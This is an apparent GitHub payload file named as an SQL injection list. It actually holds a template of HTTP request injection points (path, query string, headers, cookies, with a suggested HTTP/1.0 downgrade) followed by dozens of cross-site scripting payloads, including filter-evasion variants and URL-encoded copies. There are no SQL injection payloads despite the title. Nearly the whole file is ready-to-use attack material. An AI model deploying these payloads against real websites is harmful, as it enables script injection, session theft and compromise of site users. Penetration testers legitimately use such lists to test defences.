-
Notifications
You must be signed in to change notification settings - Fork 0
/
Effective-SQLi-LIST-short.txt
91 lines (85 loc) · 3.43 KB
/
Effective-SQLi-LIST-short.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Use:
Inject at various points in the request:
Points of injection (options)
{METHOD} /path{INJECT}/?id={INJECT}&more={INJECT} HTTP/1.X\r\n # Try to downgrade attack the server to HTTP1.0
Host: hostname.example.com{INJECT}
User-Agent: {INJECT}
Connection: keep-alive{INJECT}
Set-Cookie: csrf=<existing csrf>{INJECT}
Accept: */*{INJECT}
Referer: https://{INJECT CALLBACK URL}
Accept-Encoding: {gzip,} deflate{, br} # OPTIONAL headers .. Use only deflate - Good for poss. injection
Accept-Language: en-US,en;q=0.9{INJECT}
Priority: u=1, i{INJECT}
Note:
Keep in mind, you do not have limitations on injection, you dont have to just inject the $_GET (url)values
Attack cookie values and other request headers.
GET Attack: https://examples.com/baseball.php?id=3'<script>{JAVASCRIPT}</script>
List of Payloads:
------------------
'%3C%2Fcode%3E%3Cscript%3E
<script>{JAVASCRIPT}</script>
<scr ipt>{JAVASCRIPT}</scr ipt>
"><script>{JAVASCRIPT}</script>
"><script>{JAVASCRIPT}</script><"
'><script>{JAVASCRIPT}</script>
'><script>{JAVASCRIPT}</script><'
<SCRIPT>{JAVASCRIPT};</SCRIPT>
<scri<script>pt>{JAVASCRIPT};</scr</script>ipt>
<SCRI<script>PT>{JAVASCRIPT};</SCR</script>IPT>
<scri<scr<script>ipt>pt>{JAVASCRIPT};</scr</sc</script>ript>ipt>
";{JAVASCRIPT};"
';{JAVASCRIPT};'
;{JAVASCRIPT};
{JAVASCRIPT};
<SCR%00IPT>{JAVASCRIPT}</SCR%00IPT>
\";{JAVASCRIPT};//
<STYLE TYPE="text/javascript">{JAVASCRIPT};</STYLE>
<<SCRIPT>{JAVASCRIPT}//<</SCRIPT>
"{EVENTHANDLER}={JAVASCRIPT}
<<SCRIPT>{JAVASCRIPT}//<</SCRIPT>
<img src="1" onerror="{JAVASCRIPT}">
<img src='1' onerror='{JAVASCRIPT}'
onerror="{JAVASCRIPT}"
onerror='{JAVASCRIPT}'
onload="{JAVASCRIPT}"
onload='{JAVASCRIPT}'
<IMG """><SCRIPT>{JAVASCRIPT}</SCRIPT>">
<IMG '''><SCRIPT>{JAVASCRIPT}</SCRIPT>'>
"""><SCRIPT>{JAVASCRIPT}
'''><SCRIPT>{JAVASCRIPT}'
<IFRAME SRC='f' onerror="{JAVASCRIPT}"></IFRAME>
<IFRAME SRC='f' onerror='{JAVASCRIPT}'></IFRAME>
URL Encoded version:
%3Cscript%3E%7BJAVASCRIPT%7D%3C%2Fscript%3E
%3Cscr%20ipt%3E%7BJAVASCRIPT%7D%3C%2Fscr%20ipt%3E
"%3E%3Cscript%3E%7BJAVASCRIPT%7D%3C%2Fscript%3E
"%3E%3Cscript%3E%7BJAVASCRIPT%7D%3C%2Fscript%3E%3C"
'%3E%3Cscript%3E%7BJAVASCRIPT%7D%3C%2Fscript%3E
'%3E%3Cscript%3E%7BJAVASCRIPT%7D%3C%2Fscript%3E%3C'
%3CSCRIPT%3E%7BJAVASCRIPT%7D%3B%3C%2FSCRIPT%3E
%3Cscri%3Cscript%3Ept%3E%7BJAVASCRIPT%7D%3B%3C%2Fscr%3C%2Fscript%3Eipt%3E
%3CSCRI%3Cscript%3EPT%3E%7BJAVASCRIPT%7D%3B%3C%2FSCR%3C%2Fscript%3EIPT%3E
%3Cscri%3Cscr%3Cscript%3Eipt%3Ept%3E%7BJAVASCRIPT%7D%3B%3C%2Fscr%3C%2Fsc%3C%2Fscript%3Eript%3Eipt%3E
"%3B%7BJAVASCRIPT%7D%3B"
'%3B%7BJAVASCRIPT%7D%3B'
%3B%7BJAVASCRIPT%7D%3B
%7BJAVASCRIPT%7D%3B
%3CSCR%2500IPT%3E%7BJAVASCRIPT%7D%3C%2FSCR%2500IPT%3E
"%3B%7BJAVASCRIPT%7D%3B%2F%2F
%3CSTYLE%20TYPE%3D"text%2Fjavascript"%3E%7BJAVASCRIPT%7D%3B%3C%2FSTYLE%3E
%3C%3CSCRIPT%3E%7BJAVASCRIPT%7D%2F%2F%3C%3C%2FSCRIPT%3E
"%7BEVENTHANDLER%7D%3D%7BJAVASCRIPT%7D
%3C%3CSCRIPT%3E%7BJAVASCRIPT%7D%2F%2F%3C%3C%2FSCRIPT%3E
%3Cimg%20src%3D"1"%20onerror%3D"%7BJAVASCRIPT%7D"%3E
%3Cimg%20src%3D'1'%20onerror%3D'%7BJAVASCRIPT%7D'%3E
onerror%3D"%7BJAVASCRIPT%7D"
onerror%3D'%7BJAVASCRIPT%7D'
onload%3D"%7BJAVASCRIPT%7D"
onload%3D'%7BJAVASCRIPT%7D'
%3CIMG%20""%22%3E%3CSCRIPT%3E%7BJAVASCRIPT%7D%3C%2FSCRIPT%3E%22%3E
%3CIMG%20'''%3E%3CSCRIPT%3E%7BJAVASCRIPT%7D%3C%2FSCRIPT%3E'%3E
""%22%3E%3CSCRIPT%3E%7BJAVASCRIPT%7D
''''%3E%3CSCRIPT%3E%7BJAVASCRIPT%7D'
%3CIFRAME%20SRC%3D'f'%20onerror%3D"%7BJAVASCRIPT%7D"%3E%3C%2FIFRAME%3E
%3CIFRAME%20SRC%3D'f'%20onerror%3D'%7BJAVASCRIPT%7D'%3E%3C%2FIFRAME%3E